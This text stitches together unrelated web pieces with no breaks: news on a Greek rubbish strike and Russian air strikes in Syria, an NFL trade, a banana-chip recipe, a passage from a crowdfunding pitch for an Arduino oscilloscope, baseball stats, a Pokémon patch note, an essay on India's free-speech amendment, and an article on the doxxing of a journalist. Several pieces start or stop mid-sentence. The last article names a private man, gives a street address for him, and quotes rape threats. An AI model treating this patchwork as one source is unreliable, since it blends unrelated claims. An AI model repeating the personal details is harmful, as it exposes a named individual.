Sugawara's attorney had previously failed in an attempt to sue Kellogg under a similar Fruit Loops action. This makes him a cereal frivolous lawsuit filer.
LexisNexis 20-May-09
Click here to see the court's decision
What do you think? Click here to leave a comment - ( Comments so far)Image copyright EPA Image caption As the rubbish piles up, authorities in Athens have asked residents not to take their refuse out
Piles of rubbish have been mounting in cities across Greece since the start of the week in a dispute over thousands of refuse collectors' jobs.
Tourist areas of Athens were among those worst affected. Problems were also reported in the northern city of Thessaloniki and the island of Corfu.
Protesters marched on the interior ministry in the centre of Athens as a 24-hour strike took hold.
They fear up to 10,000 workers could lose their jobs as their contracts end.
At one point on Thursday, protesters set fire to rubbish outside the interior ministry and threw paint at the building. Riot police fired tear gas to stop the building being stormed, reports said.
For days, members of the municipal workers' union have blocked refuse lorries from entering the main depots as the dispute escalates, leaving some street pavements an obstacle course for pedestrians.
Holding your nose in Athens - by Kostas Kallergis, BBC News
Driving through Athens' central neighbourhoods this morning you cannot miss the piles of rubbish in every corner.
Pedestrians hold their noses as they pass the barricades of waste and at times cross to the opposite pavement. The situation is worse near businesses like restaurants which have big waste loads every day.
Greeks have known bin strikes in the past and try to keep their waste indoors for as long as possible. But a heatwave is on its way and a weekend stroll will be far from idyllic for Athenians and tourists alike.
Image copyright Twitter
The temperature in Athens on Thursday was 32C and is expected to climb in the coming days. Authorities have urged residents and businesses not to put out their rubbish.
The problem facing the government is that its attempt to renew the contracts of temporary municipal workers has been rejected by the courts as unconstitutional.
Interior Minister Panos Skourletis has promised the unions to find a solution, offering to provide 2,500 of the threatened workers with permanent posts.Media playback is unsupported on your device Media caption The Russian Defence Ministry released cockpit footage from its aircraft, which it said performed eight sorties
Russia says it has launched air strikes in Syria for a second day, targeting militants from Islamic State (IS).
The defence ministry said its jets had destroyed an IS ammunition depot and control centres.
However, the areas reportedly attacked appeared to be held by groups opposed to IS and the Syrian government.
The US and its allies fear the strikes have mainly targeted non-IS opponents of Russia's ally, Syrian President Bashar al-Assad.
Meanwhile, the Pentagon and Russian military officials are due to hold talks on avoiding clashes between their forces in Syria.
The latest attacks reportedly hit sites in the north-west held by the Army of Conquest rebel alliance, as well as areas in Homs and Hama provinces.
The strategic town of Jisr al-Shughour was hit, as well as areas in Idlib province and Hama province further south, according to Lebanon's al-Mayadeen TV.
Rebel activists also reported strikes at Ghantu in Homs province, close to some of Wednesday's attacks.
Russia said it had hit 12 IS positions in the past 24 hours, although this cannot be independently verified.
Analysis by Jonathan Marcus, BBC diplomatic correspondent
The Syrian government's army may not be what it was, but in local terms it is still a force to be reckoned with.
Bolstered with new Russian equipment and now backed by Russian air power, it could hold its own against most of the opposition forces.
Russia does not have the elaborate intelligence gathering panoply of the US. But much of its targeting will be based upon tactical intelligence obtained from Syrian units on the ground.
This then is the key to Russia's strategy. It is to consolidate the Assad regime, to relieve the pressure points and to ensure that its ally remains a factor in any future diplomatic settlement.
To this end - and there are strong indications of this even from Russia's initial air strikes - Moscow will hit any opponents of the Syrian regime where necessary.
What can Russia's air force do?
Two of Thursday's sorties were against a rebel group trained by the CIA, its commander said.
Hassan Haj Ali, of the Liwa Suqour al-Jabal group, told Reuters news agency that about 20 missiles had hit their training camp in Idlib province.
He said the Russian jets were identified by former Syrian air force pilots who are now members of his group.
The Army of Conquest (Jaysh al-Fatah) alliance had made advances in the north-west in recent months, taking Idlib and Jisr al-Shughour from pro-government forces.
The alliance includes the al-Nusra Front, al-Qaeda's affiliate in Syria, and the hard-line Islamist group Ahrar al-Sham, as well as several more moderate Islamist groups.
All are opposed to IS and have fought bloody battles with the jihadist group.
BBC security correspondent Frank Gardner says that President Assad, together with his allies Iran and Russia, appeared to be trying to squeeze out other rebel groups so that the only alternative to the Syrian regime would be IS.
More than 50 planes and helicopters are involved in the Russian military operation in Syria, Russia's defence ministry said.
Opposition groups said Wednesday's attacks had killed more than 30 civilians. However, President Putin denied the claims, telling Russian television that the first reports of civilian casualties came "even before our jets took off".
The US, which is targeting IS with air strikes in both Syria and Iraq, says it was informed about Russia's air strikes only an hour before they began on Wednesday.
The French defence minister said the strikes had not targeted IS, while US Defence Secretary Ashton Carter said Russia's approach was "tantamount to pouring gasoline on the fire".
Image copyright AP Image caption Russian air strikes on Wednesday hit areas north of Homs, including Talbiseh
Media playback is unsupported on your device Media caption What hardware does Russia have?
Syria's civil war
Image copyright AFP
What's the human cost?
More than 250,000 Syrians have been killed and a million injured in four-and-a-half years of armed conflict, which began with anti-government protests before escalating into a full-scale civil war.
And the survivors?
More than 11 million others have been forced from their homes, four million of them abroad, as forces loyal to President Assad and those opposed to his rule battle each other - as well as jihadist militants from IS and other groups. Growing numbers of refugees are going to Europe.
How has the world reacted?
Regional and world powers have also been drawn into the conflict. Iran and Russia, along with Lebanon's Hezbollah movement, are propping up the Alawite-led government. Turkey, Saudi Arabia and Qatar are backing the Sunni-dominated opposition, along with the US, UK and France.
The battle for Syria and Iraq in maps
Syria's civil war explained
Are you in the area? Have you been affected by this story? Let us know about your experiences. Email haveyoursay@bbc.co.uk with your stories.
Please include a contact number if you are willing to speak to a BBC journalist. You can also contact us in the following ways:The offensively challenged New York Jets made their second trade in less than a week, acquiring well-traveled quarterback Ryan Fitzpatrick on Wednesday from the Houston Texans, the Jets confirmed.
The Texans will get a conditional seventh-round pick that can become a sixth based on how much playing time Fitzpatrick gets with the Jets, a league source told ESPN NFL Insider Adam Schefter.
It sets up another quarterback competition for the Jets, who went into free agency looking for a veteran to challenge the turnover-prone Geno Smith.
Publicly, the Jets' new regime hasn't named Smith the starter, although "we're kind of committed to trying to make him a success," general manager Mike Maccagnan said recently.
They upgraded the passing attack by trading for wide receiver Brandon Marshall to replace Percy Harvin, who subsequently was released. But quarterback remains a major question for the Jets, who ranked 31st in Total QBR over the last two seasons.
Fitzpatrick became expendable amid the Texans' recent flurry of quarterback activity. They re-signed Ryan Mallett and finalized a free-agent contract with Bryan Hoyer. Both quarterbacks began their careers with the New England Patriots, spending time under Texans coach Bill O'Brien.
Hoyer signed a two-year deal worth $10.5 million, including $4.75 million guaranteed, a source told ESPN's Adam Caplan. The Jets showed considerable interest in Hoyer.
The Texans signed Fitzpatrick to a two-year deal worth $7.25 million on March 21, 2014, the same day they traded quarterback Matt Schaub to the Oakland Raiders. The Jets will take on Fitzpatrick's base salary of $3.25 million for the 2015 season.
Quarterback Ryan Fitzpatrick will be reunited with former coach Chan Gailey with his trade from the Texans to the Jets. Troy Taormina/USA TODAY Sports
The Jets see it was a bargain price for an experienced quarterback, the reason they decided to make the trade instead of waiting until he got released.
Fitzpatrick, 32, will reunite with Jets offensive coordinator Chan Gailey, his coach for three seasons with the Buffalo Bills (2010-2012). Fitzpatrick enjoyed his three most prolific years in Gailey's spread attack, and the Jets like the idea of having an experienced quarterback well-versed in the system.
They had been targeting him since January. Maccagnan, too, is familiar with Fitzpatrick, as he worked in the Texans' scouting department until January.
The addition of Fitzpatrick won't preclude the Jets from drafting Marcus Mariota, if he slips to the sixth pick, but they don't appear to be leaning in that direction.
Fitzpatrick started 12 games for the Texans last season. After the first nine, during which he went 4-5, O'Brien benched him in favor of Mallett, who started two games, playing the second with a torn pectoral muscle. He needed surgery to repair the injury and was placed on injured reserve after that second game.
Fitzpatrick returned for three starts, setting a franchise record with six touchdown passes against the Tennessee Titans in his first of those three. In the third, he suffered a cleanly broken leg and could not finish the season.
Overall, Fitzpatrick threw for 2,483 yards while completing 63.1 percent of his passes with 17 touchdowns and eight interceptions.
ESPN.com Texans reporter Tania Ganguli contributed to this report.I was about to buy some banana chips in the store the other day, but I stopped when I looked at the ingredient list. In addition to ‘bananas’ was sugar, coconut oil and the dubious-sounding “banana flavor” or isoamyl acetate. You’d think the bananas would be the thing that would provide adequate banana flavor and sweetness! It got me thinking though, that banana chips should be easy enough to make at home.
I know that it should be easy to make banana chips in a food dehydrator – but alas, I don’t have one. Based on some beef jerky experiments (that haven’t worked unfortunately), I figured I could turn the oven on low and use it as my over-sized dehydrator! These easy oven-dried banana chips are delicious, though the problem we had around here was that most of them were eaten before they got sufficiently crispy. Ideally, you’ll want them to cool a bit after their time in the oven, otherwise they’ll be a bit chewy, but they’re still delicious that way. (Update: I did end up getting a dehydrator, much faster and energy efficient. Check out the table at the end of this post for a comparison of six popular dehydrator models.)
Bananas are a good source of dietary fiber and minerals like potassium, manganese and vitamins B6 and C. And while they’re already a great, portable snack, when they’re dried as chips, they satisfy a sweet-tooth and give a little crunch!
Like this recipe? Click here to download a Free eBook that includes all the recipes listed on this site!
Print Oven-dried Banana Chips Rating: 51 Prep Time: 10 minutes Cook Time: 1 hour, 30 minutes Total Time: 1 hour, 40 minutes Ingredients 3 large bananas
1 lemon, juiced Instructions Peel and slice bananas in 1/4"-thick slices (or thinner). Lay slices on cookie sheet, lined with parchment paper or aluminum foil. Dip your fingers in lemon juice and brush each banana slice with lemon juice to prevent excessive browning of the bananas. Bake at 200F (or as low as your oven will go), for 1.5 hours. Notes Using parchment paper will help prevent the bananas from sticking to your cookie sheet. Baking time will vary depending on your texture preference and oven temperature. 1.5 hours worked for me, though if you use a slightly higher heat, you may only need an hour, or if you want crisper chips, you might want to go longer |
cope. The CPLD commands the ADC to sample the selected channels. It then reads the ADC data and sends it to the UnoProLyzer application.
You can view the schematic here:
www.earthpeopletechnology.com/wp-content/uploads/2015/04/ept_5m57_ap_u2_v3_20150424.pdf
The UnoProLogic2 uses a 66MHz oscillator to provide the timing for SPI bus, USB data transfers and user code. This high speed oscillator allows the CPLD to transfer the ADC samples to the internal USB FIFO at 10MHz. This high speed transfer rate allows a continuous stream of samples to be sent to the UnoProLyzer for storage. The UnoProLyzer can then perform triggering and other operations on the raw data samples. By performing the oscilloscope processing in the PC application, the UnoProLogic2 hardware can be kept simple and cheap.
The UnoProLyzer Application
The UnoProLyzer is an Open Source Oscilloscope Application created by Earth People Technology. This application runs on a Windows 7/8 PC. It sends commands to and receives the data from the UnoProLogic2 and stores each channel data in its own separate buffer in memory. The UnoProLyzer collects all samples from each channel by streaming across up to four dedicated communication “pipes”. The traditional USB oscilloscope performs all of its functions down at the hardware level. This includes
Collecting samples
Setting trigger level
Detecting the trigger
Storing samples
Post processing samples
Smoothing algorithms
Sorting algorithms
Scaling and Searching
These scopes will then send the selected data to be displayed on a laptop. Effectively using the laptop as a dumb terminal. However, the modern laptop is extremely powerful with multi-core processors and multi-threaded operating systems. So, why not take advantage of the processing power on the laptop. This is what the UnoProLogic2 and UnoProLyzer do so well.
The UnoProLogic2 commands the ADC to start a conversion on the channels selected by the user. It then waits for the ADC to complete the conversion on all channels. It transfers the data for each channel across its own dedicated communication pipe. Then starts the process over again. The UnoProLyzer application will accept each data word and decode the pipe number it came across. It stores each word into a separate buffer for each channel. The UnoProLyzer then performs post processing on each data word. It performs trigger detection, smoothing, sorting, scaling and searching. It then displays the data set in 500 data point segments.
The UnoProLogic2 is powered completely over the USB cable. Just plug the cable into an open USB port on your laptop or desktop PC and into the Micro-B connector of the UnoProLogic2 and click on the software icon. The software locates the UnoProLogic2 via the registry and loads the application. Use your breadboard jumper wires to connect between the Arduino connectors and the six pin inline connector that provides a path to the ADC inputs.
The Open Source Software of the UnoProLoyzer uses the Active Host API in the PC and the Active Transfer Library on the CPLD. The Active Host API and the Active Transfer Library provide the “pipe” mechanism that allows commands to be sent and ADC data received from the UnoProLogic2. The pipe mechanism is provided by “EndTerms”.
The user code connects to “Endterms” in the Active Host dll. These Host “Endterms” have complementary HDL “Endterms” in the Active Transfer Library which reside in the CPLD code. Users have seamless bi-directional communications at their disposal in the form of:
Trigger Endterm
Transfer Endterm
Block Endterm
User code writes to the Endterms as function calls. Just include the address of the individual module (there are eight individually addressable modules of each Endterm). Immediately after writing to the selected Endterm, the value is received at the HDL Endterm in the CPLD. The Trigger Endterms send single bits to the CPLD. The Transfer Endterm sends a single byte. And, the Block Endterm sends a block of bytes. By using one of the Active Host Endterms, the user can create a dynamic, bi-directional, and configurable data transfer design.
The Active Host API is designed to seamlessly transfer data from the CPLD when it becomes available. It is a transparent receive transfer path made possible by using a callback mechanism. The data seamlessly appears in Host PC memory from the Arduino.
But Wait, There's More
While the UnoProLogic2 cannot match the performance of other more expensive USB scopes, it can contribute more in the aide of debugging your Arduino code than they can. With the plug in connections to the Arduino, the UnoProLogic2 goes a step further in debugging your applications. You can set the trigger to monitor the level or duration of a signal on the analog inputs. When the trigger detects this condition, the UnoProLyzer can send a command to the Arduino to pause the execution of the loop function. When the loop pauses, you can send a command from the UnoProLyzer to read out the contents of your memory or the state in a state machine. This can provide an enormous benefit when debugging hard to find problems. And the other USB scopes cannot deliver this level of performance. Earth People will provide sample applications, tutorials, and all source code for the Arduino Debugging.
The Oscilloscope Interface Board
In order to sweeten the deal, Earth People Technology is offering the Oscilloscope Interface board. Choose this as your reward for supporting the UnoProLogic2 campaign drive. It will turn the UnoProLogic2 into a true Oscilloscope with +/- 40 Volt input and the ability to accept off the shelf Oscilloscope probes.
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The Oscilloscope Interface board plugs directly into the UnoProLogic2 connectors. It interfaces the signals to be measured to the on board 4 Channel ADC. The interface board uses four standard sized BNC connectors that allow you to install most off the shelf oscilloscope probes. The Oscilloscope Interface Board also allows advanced triggering techniques. It does this by including a 4 to 1 multiplexor which is used to select one of the input channels to apply to the analog comparator. An MSP430 MCU used to provide the analog comparator and digital storage memory. Adding the Oscilloscope Interface board to the UnoProLogic2 and using the UnoProLyzer application gives you a powerful four channel 300 Kilo Sample per second oscilloscope.
Oscilloscope Specification:
Bandwith: 100KHz Max
Sampling Rate: 300KHz @ 1 Channel / 75KHz @ 4 Channels
Input Channels: 4 Channels
Input Range: ±50 mV ~ ±40 V
Input coupling: AC / DC
Input Impedance: 1 MOhms
Input Capacitance: 15 pF
Overvoltage protection: ±100 V (DC+AC peak)
The Voltmeter Interface Board
In order to sweeten the deal, Earth People Technology is offering the Voltmeter Interface board. Choose this as your reward for supporting the UnoProLogic2 campaign drive. It will turn the UnoProLogic2 into a true Voltmeter with the ability to measure AC or DC voltages.
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The Voltmeter Interface board plugs directly into the UnoProLogic2 connectors. It turns the UnoProLogic2 into a true voltmeter. It allows the on board 4 Channel ADC to measure analog voltages from minus 200 Volts to positive 200 Volts AC or DC.
The interface board uses four standard sized Banana Connector Pairs that allow you to install most off the shelf Voltmeter probes. Adding the Voltmeter Interface board to the UnoProLogic2 and using the Voltmeter application gives you a Digital Voltmeter.
RewardsAug 15, 2014; Chicago, IL, USA; Chicago White Sox starting pitcher Hector Noesi (48) throws against the Toronto Blue Jays during the first inning at U.S Cellular Field. Mandatory Credit: David Banks-USA TODAY Sports
Thank goodness the Chicago White Sox were able to have doluble-digit run support for Hector Noesi and the bullpen on Friday night, because if they didn’t we would have been looking at another White Sox loss.
The White Sox were very lucky the offense had one of their “good nights,” because the starting pitching sure didn’t have much to offer, and it is a shame there is still that much inconsistency with the rotation of the White Sox in mid-August.
Noesi allowed five earned runs in the five innings he pitched, and besides Chris Sale, and sometimes Jose Quintana the starting pitching of the White Sox is lackluster.
It needs to be a big part of the offseason repairs of this ball club.
Here is a look at the ERA and other stats of the five current White Sox pitchers in the rotation (the stats are their numbers when they’ve made a start):
• Chris Sale (10-2) — 2.01 ERA, 19 starts, 130,0 IP, 29 ER, 150 Ks,.196 opponent BA, 0.88 WHIP (walks plus hits, divided by IP).
• Jose Quintana (6-9) — 3.14 ERA, 25 starts, 154.2 IP, 54 ER, 136 Ks,.246 opp. BA, 1.23 WHIP.
• Hector Noesi (7-7) — 4.40 ERA, 20 starts, 118.2 IP, 58 ER, 85 Ks,.263 opp. BA, 1.39 WHIP.
• John Danks (9-8) — 4.96 ERA, 24 starts, 147.0 IP, 83 ER, 100 Ks,.277 opp. BA, 1.48 WHIP.
• Scott Carroll (3-7) — 5.63 ERA, 13 starts, 72.0 IP, 45 ER, 37 Ks,.306 opp. BA, 1.60 WHIP.
There have been four others to make a combined 21 starts for the White Sox this season, but they are either back in the bullpen or currently with the Triple-A Charlotte Knights.
In looking at the numbers of the five current White Sox starters before Saturday’s game, it is easy to see a lot of changes will need to be made in spots 3-5, but I don’t know if the White Sox will or be able to part with Danks this offseason due to his sizable contract he’s owed next season.
I’m not sure many teams would be willing to take off of that with a nearly 5.00 ERA for the LHP.
Also with Danks (before Saturday’s start) his ERA since the conclusion of the All-Start break is not good at all. The post-ASG ERA of Danks is 9.22 with a 1-2 mark in 27.1 IP.
Danks has allowed 28 ER in five starts since returning from the All-Star break, with opponents having a.360 batting average against him and a WHIP of 1.90.
Compare that to Sale, whose ERA is 1.80 in five starts since the All-Star break or even Quintana with a 2.80 ERA in six post ASG starts.
There is a lot that needs to be changed with this starting rotation right now, but since the regular season has a month and a half left, the White Sox need to start focusing on what they are going to be doing this offseason, instead of the current, because there isn’t much hope for a postseason birth in ’14 left.
Thoughts?
In other White Sox news:
• White Sox pitching coach Don Cooper isn’t a fan of the home plate collision rule writes whitesox.com.
• White Sox manager Robin Ventura also wants to see the collision rule changed as reported by CSN Chicago.
• The Chicago-Sun Times writes that Gordon Beckham‘s tenure with the White Sox could be coming to a close.
• Adam Dunn spoke about the 11-5 win over the Toronto Blue Jays in a video by the Chicago Tribune.
• Avisail Garcia could be back this weekend writes Southside Showdown’s Louie Penna.
• Brian Draus of Southside Showdown wonders what the White Sox could do with their bullpen.On August 1, 2017 the Pokémon TCG Online was updated to version 2.46.0. Changes in this version include:
GENERAL
- Added support for the Pokémon TCG: Sun & Moon—Burning Shadows expansion. This expansion will be available in the game August 3 and will be legal for use in tournaments starting August 18.
- Added separate Random Booster rewards for the Standard, Expanded, and Legacy formats.
GAMEPLAY
- Updated the mulligan interface to improve the overall pace of setting up to play.
SHOP
- Sun & Moon—Burning Shadows booster packs and theme decks will be available in the Shop starting August 4.
- Booster packs and theme decks from expansions in the Legacy and Expanded formats will rotate through the Shop on a regular basis starting August 8.
Mike Liesik
Pokémon TCG Online Associate Producer
The Pokémon Company International
Need help from the support team? Visit the support portal and submit a ticket!The horrific attack on the office of Charlie Hebdo seems to have pitched India into a free speech maelstrom with some awkward, even depressing results. The day after the murders, HT Media’s business newspaper Mint published some of Charlie Hebdo’s cartoons as a defiant protest in favour of freedom of expression. Embarrassingly, only a few days later though, it put out a notice saying that it had “removed” the cartoons. The reason for this, Mint claimed, was that the cartoons had “offended some people”. More odiously, the state moved in as well: Mumbai’s police blocked purportedly offensive social media posts related to Charlie Hebdo.
Neither incident came as a surprise, of course: India has a glorious tradition of restricting free speech. In fact, so vital is this quality to the nation’s lifeblood that the very first amendment made to India’s newly minted constitution sought to restrict freedom of speech. In an ironic coincidence, the first amendment to the US’s constitution prohibits any abridgment of free speech. Maybe a lot can be said about a country from only its first amendment.
On 26 January, 1950, our founding fathers awarded India a fine constitution which, among other things, guaranteed its citizens “the right to freedom of speech and expression.” Almost immediately though, they were to regret this over-generosity, as the judiciary started to limit executive action on the basis of freedom of expression.
In Bihar, a government order to restrict a violent political pamphlet was quashed by the Patna High Court. So liberal was India’s freedom of speech at the time that a judge on the case held that “if a person were to go on inciting murder or other cognisable offences either through the press or by word of mouth, he would be free to do so with impunity because he could claim freedom of speech and expression.” This is remarkably similar to the US Supreme Court’s 1969 ruling in the Brandenburg case, which held that the State cannot forbid advocacy of the use of force or of law violation unless the violence was intended, likely and imminent.
In Delhi, the government’s attempts at pre-censoring the Rashtriya Swayamsevak Sangh’s mouthpiece, the Organiser, met the same fate. The East Punjab Public Safety Act, 1950, under which the curbs were being applied, was held to be unconstitutional by the Supreme Court.
The third case (May 1950) turned out to be the most impactful and involved a left-leaning journal called Crossroads, published by Romesh Thapar from Mumbai. At the time, Madras state had banned the Communist Party and, as part of that policy, prohibited the entry and circulation of Crossroads in the state. Thapar contested this ban legally and won, with the Supreme Court declaring the Madras Maintenance of Public Safety Act, 1949 unconstitutional.
The Communist Party had, at the time, declared war on the new dominion with the slogan “Yeh azadi jhooti hai” (this freedom is fake) and in Telangana was directly battling the Indian army. Thapar, while not a card-carrying member of the party, was widely seen to be a communist sympathiser and, therefore, this decision by the Supreme Court greatly alarmed the administration.
Within a week of the decision, home minister Vallabhbhai Patel wrote to prime minister Jawaharlal Nehru, complaining that this ruling “knocks the bottom out of most of our penal laws for the control and regulation of the press.” Patel also expressed concern that this meant that the government would be unable to gag Hindu Mahasabha leader S P Mookerjee, who was leading a troublesome campaign to get Bengal’s partition annulled (ironic, because just three years before, he was one of its biggest supporters).
Nehru and Patel did not often see eye to eye but on this matter there was perfect agreement within the duumvirate: both leaders believed in a strong, centralised state. In fact, not only Nehru and Patel, there was broad agreement on this matter throughout the government. BR Ambedkar, while less hawkish than either Nehru or Patel on the matter, still agreed on the need for curbs.
Events moved fast. By February 1951, Nehru had constituted the Cabinet Committee on Amendment to modify Article 19 (which contained the freedom of speech). Law minister Ambedkar suggested that the phrase “reasonable restrictions” be added. Patel’s home ministry, unsatisfied by the qualifier “reasonable”, sought to have it removed. This qualifier left it up to the judiciary to decide what “reasonable” meant, curtailing the powers of the government.
Nehru came down on the side of the home ministry and the draft bill introduced in parliament allowed the State to make laws imposing “restrictions” on freedom of speech and expression “in the interests of the security of the State, friendly relations with foreign States, public order, decency or morality, or in relation to contempt of court, defamation or incitement to an offence.”
The opposition to this bill was fierce, spearheaded by S P Mookerjee. Restrictions on free speech in the interests of “friendly relations with foreign States” directly gagged his efforts to overturn partition and he was naturally indignant. “The prime minister believes that agitation to end partition is harmful to the country, but I think partition should be annulled. So why can we not each give our views and let the public decide,” argued Mookerjee in a forceful response to the bill.
In the face of this fierce opposition, the government backed down a bit. Nehru reintroduced the qualifier “reasonable”. The compromise in place, parliament passed the bill 228 to 20.
Later on, in 1963, the sixteenth amendment would add another condition: “the sovereignty and integrity of India” aimed at curbing Tamil separatism. Till then Dravida Munnetra Kazhagam had the secession of south India as part of its agenda, which it then subsequently dropped.
The can of worms this opened meant that modern India has lived with vaguely defined hate speech laws (Section 153A of the Indian Penal Code) and a blasphemy law (Section 295A of the Indian Penal Code). Faced with the diffused nature of the internet, the government passed Section 66A of the Information Technology Act, 2000 which even went so far as to penalise “offensive” electronic messages.
Backers of a limited right to expression usually argue that unrestricted free speech would cause law and order issues in India, much as the government did in 1951. The fact that India is a volatile country is not in doubt. Just six months back, a young Muslim man in Pune was murdered by a mob, incensed by derogatory images of Shivaji and Bal Thackeray (unlike in Paris, the murderers did not even bother to find out the source of the image).
Like a number of other statist solutions, however, curbs on free speech in the service of public order looks far better on paper than on the ground. As we have seen in Mumbai in 1993 or in Gujarat in 2002, the state does not really seek to clamp down on free speech for such altruistic purposes. Instead, free speech curbs are used for petty political ends, banning books, movies, paintings and even Facebook status updates.
In spite of the widespread and frequent curbs on free speech, this is really not a political issue in India and there exists remarkable political consensus on their continuation. So deep is the rot that in most cases—from Penguin to Mint—people now simply censor themselves, which really is the best curb on freedom of expression anyone could wish for.
This post first appeared on Scroll.Journalist and activist Abbey Martin is receiving rape and death threats from Chirs Kyle fans, for pointing out their propensity to laud violence and glorify death.
MINNEAPOLIS — Journalist Abby Martin has never been afraid to speak her mind, no matter how controversial the topic. What she didn’t expect was that her choice of T-shirt would result in her address and other personal information being leaked online and provoke a storm of death and rape threats.
It wasn’t the first time she’d spoken out against the overwhelming popularity of “American Sniper,” or the way the cult of personality surrounding the film’s inspiration, deceased U.S. Navy SEAL sniper Chris Kyle, supports America’s military-industrial complex, so the intense reaction to a recent social media post was unexpected. A week after Martin shared an Instagram photo of herself wearing a “Fuck Chris Kyle” T-shirt, a military veteran leaked her home address and other personal information to the Internet, sharing it on popular forums for current or former snipers:
Abby Martin – Some psychotic Chris Kyle fan just doxxed me… | Facebook
The practice of leaking personal information to the Internet to aid in the harassment of a political enemy is known as “doxing.”
Supporters of Kyle flooded Martin’s social media accounts with threats of violence, sexual assault, and murder, forcing the journalist to take action to protect her safety and that of her family:
"Time to put on our raping shoes & find this bitch" "I hope ISIS cuts your clit off w/ a dull knife" #ChrisKyleFans pic.twitter.com/nLAcQTAPW4 — Abby Martin (@AbbyMartin) May 2, 2015
Martin first rose to public prominence through her coverage of the Occupy Oakland protests that began in 2011. She was subsequently hired in 2012 by Russia Today (RT) to host “Breaking the Set,” a TV program which combined original investigative journalism with outspoken critique of mainstream media propaganda. The show ended in February of this year.
A recurring topic on Martin’s program was the damage caused by America’s ever-expanding military adventures, and the ways nationalist and fanatically patriotic American culture supports the country’s deadly wars overseas.
In January, she spoke on “Breaking the Set” to journalist Rania Khalek about “American Sniper,” calling the film “patriot porn” and a “celebration of psychopathy.” Although she received backlash then, it was only after being doxed for a T-shirt that Martin faced credible threats to her life.
Angering the “American Sniper” cult
MintPress News interviewed Martin, who spoke with us by phone from an undisclosed location. We asked her why she thought the T-shirt, and “American Sniper,” provoked such a violent reaction.
“Of everything I’ve done, I never expected it would be Chris Kyle fans that would come down this hard,” Martin said.
“When Chris Kyle initially died, no one was really calling him a hero, they were just talking about how terrible it is that these soldiers are coming back and killing each other,” she explained. “What ‘American Sniper,’ the movie, did, was bring him up to this cult hero worship status where he’s on par now with Muhammad.”
Martin explained that she’s seen Kyle supporters make this hyperbolic comparison on multiple occasions.
“Literally, people are likening this situation to drawing cartoons of the Prophet,” she said, before reiterating that one is central to the religion of 1.6 billion people, while the other is a former sniper. “That is how insane this reaction has been.”
Taking threats seriously
“They’re making this about a ‘free speech issue,’ but they don’t understand that free speech does not entail rape, death and torture threats,” Martin told MintPress. “That’s actually a misdemeanor, a threat of bodily harm, or a felony in the case of actual legitimate death threats.”
For safety reasons, Martin did not reveal all the steps she’s taken in response to the threats, but she emphasized that she is doing what is necessary to protect herself and her family.
“I have stalkers, aside from this incident,” she revealed, “so having this information out there is actually really dangerous for me. So I did take immediate precautions. And for everyone who actually sent me an overt rape, death or torture threat, I filed charges with police. And then with this latest doxing, I filed that as well.”
Martin explained that reporting the actions to the police is the best way to create a paper trail, in the event that someone tries to act on one of these threats.
Michael Vincent Trautman, the veteran who doxed Abby Martin
Martin revealed to MintPress that through multiple, credible reports, she was able to trace the leak of her personal information to posts made on several sniper and veteran Internet forums. The author of the posts was a man named Michael Vincent Trautman.
“The fact that he posted my address and phone number on a bunch of veterans and sniper forums was a clear incitement for violence and harm on me and my family,” Martin told MintPress.
According to his Facebook, Trautman was born in Pittsburgh, and currently lives in Pleasant Hill, Pennsylvania.
In the “About” section of his profile, Trautman wrote:
“What have you or I done for our fellow man? As to do for your fellow man is to do for God as he is within us all. I truly hate nobody, yes as a flawed sinful man I dislike certain others but I still love them and seek to forgive them and desire to be forgiven by them.”
However, contrary to Trautman’s stated philosophy, a search of publicly available Internet records shows a troubling history of violent threats.
On his Facebook, Trautman has “liked” many veterans-related Facebook pages, as well as hyperbolically patriotic pages such as “If you’re not for us, then get the hell out,” and “My guns protect me.”
A Google search returned threatening posts to a Facebook page called “Dysfunctional Veterans.” In one example from August 2014, veterans and allies on the group respond to a Facebook user named Steve A Mattison, who wrote that the U.S. military should act more like Switzerland, a neutral country.
Trautman tells the group he sent Mattison the following reply:
“Hey shit knuckle run your fucking mouth on the military and it’s been posted on every military site. It’s really fucking stupid to think the people that keep America rolling by finding the hardest to find fuckers and wrecking their world. Tell me what it feels like as you are today’s most hated fuckface by almost 1.62 million active 1.8 million reserve and guard and millions of Veterans and the at least 275 million of the 300 million Americans pro-military. Yes I am recently retired Army have a BS and MBA both from Duquesne University were I am in my 3rd year of PhD studies. But my ass kicking Ranger comes out on keyboard cowards like you.”
If a 2001 brief from Pennsylvania’s Beaver County Times can be positively linked to Trautman, he may have a disturbing history of taking his threats into the real world. In the short article, police from Moon Township, Pennsylvania, report that a man of the same name “has been accused of calling a New Eagle[, Pennsylvania] woman pretending to be a state trooper and threatening to arrest her.”
The brief continues:
“Moon police said Michael Vincent Trautman, 26, of 1130 Lee Drive made the call to Deborah Lee, 23, around 5 a.m. Sunday [December 15, 2001]. Trautman was charged with harassment and disorderly conduct.”
Trautman’s Facebook is named “Mike.Trautman.75,” and social media users often place their birth year in their usernames. Based on this, Abby Martin’s doxer was 26 years old at the time of the arrest reported by the Beaver County Times. However, because MintPress was unable to verify that Trautman previously lived in Moon Township, and because his Facebook account does not list his age or entire birthdate, we are unable to fully corroborate this report.
The possibility that the same Trautman threatening Abby Martin today may have previously impersonated a police officer to threaten another woman adds a troubling note to an already frightening situation.
MintPress News contacted Trautman for comments on Thursday. Facebook indicated that Trautman had read the message, but he had not replied by Friday morning. This article will be updated if he responds.
A myth of an American hero
“American Sniper” author Chris Kyle poses for this 2012 file photo. ( Photo: Paul Moseley/AP)
After emphasizing that the threats are a crime verging on terrorism, Martin also critiqued the idea that oppressive behavior is a way to uphold the principle of free speech.
“You’re not doing anything daring, dude, you’re just riding a wave and then saying it’s all about free speech,” she said. “Sure it’s free speech, but you’re not standing up to the man.”
The First Amendment is meant to protect dissent, she told MintPress, adding: No one needs to protect the free speech rights of those who are just repeating the propaganda of America’s militaristic culture about one of its soldiers, Chris Kyle.
“It’s an insane, cult-like syndrome and they are on top of the world. The U.S. is the military machine, it’s the military empire. And here you have this war ‘hero’ who is in reality a xenophobic, racist bigot that bragged about killing savages,” said Martin.
She reserved some of her strongest criticism for those who claim that Kyle died defending the Constitution, when in reality he was slain by another soldier:
“Don’t get it twisted, he didn’t die in Iraq,” she said. “Just the fact that these people think the Iraq War had something to do with freedom, that’s how in denial they are and that’s how dangerous movies like ‘American Sniper’ are.”
Martin explained that “American Sniper” deliberately includes footage of September 11 as a way to emphasize the imaginary connection between Iraq and the 2001 terrorist attack.
She continued: “These kinds of psychotic people are the reason why Iraq is so messed up today and the reason why terrorism is on the rise.”
The gender factor
Gender plays an obvious role in the severity of the threats against Martin.
